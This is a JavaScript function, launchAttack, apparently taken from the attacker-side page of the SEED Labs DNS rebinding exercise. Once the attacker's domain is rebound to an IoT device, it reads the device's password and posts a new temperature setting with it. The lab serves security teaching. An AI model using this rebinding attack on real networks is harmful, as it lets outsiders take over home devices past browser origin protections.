INNER CODE UNIT · JavaScript
launchAttack
seed-labs/seed-labs · category-network/DNS_Rebinding/Code/attacker_vm/rebind_malware/templates/js/main.js:6
function launchAttack() {
console.log('Launch the Attack!!');
$.get(url_prefix + '/password', function(data) {
if ('StillMe' === data) {
console.log('Failed: Still talking to the attacker\'s web server!!');
$('#pwd-err').show();
$('#pwd-iot').hide();
} else {
console.log('Great, now I am talking to the IoT device!!');
$('#pwd-err').hide();
$('#pwd-iot').show();
}
$.post(url_prefix + '/temperature?value=' + TEMPERATURE
+ '&password=' + data.password,
function(data) { });
});
}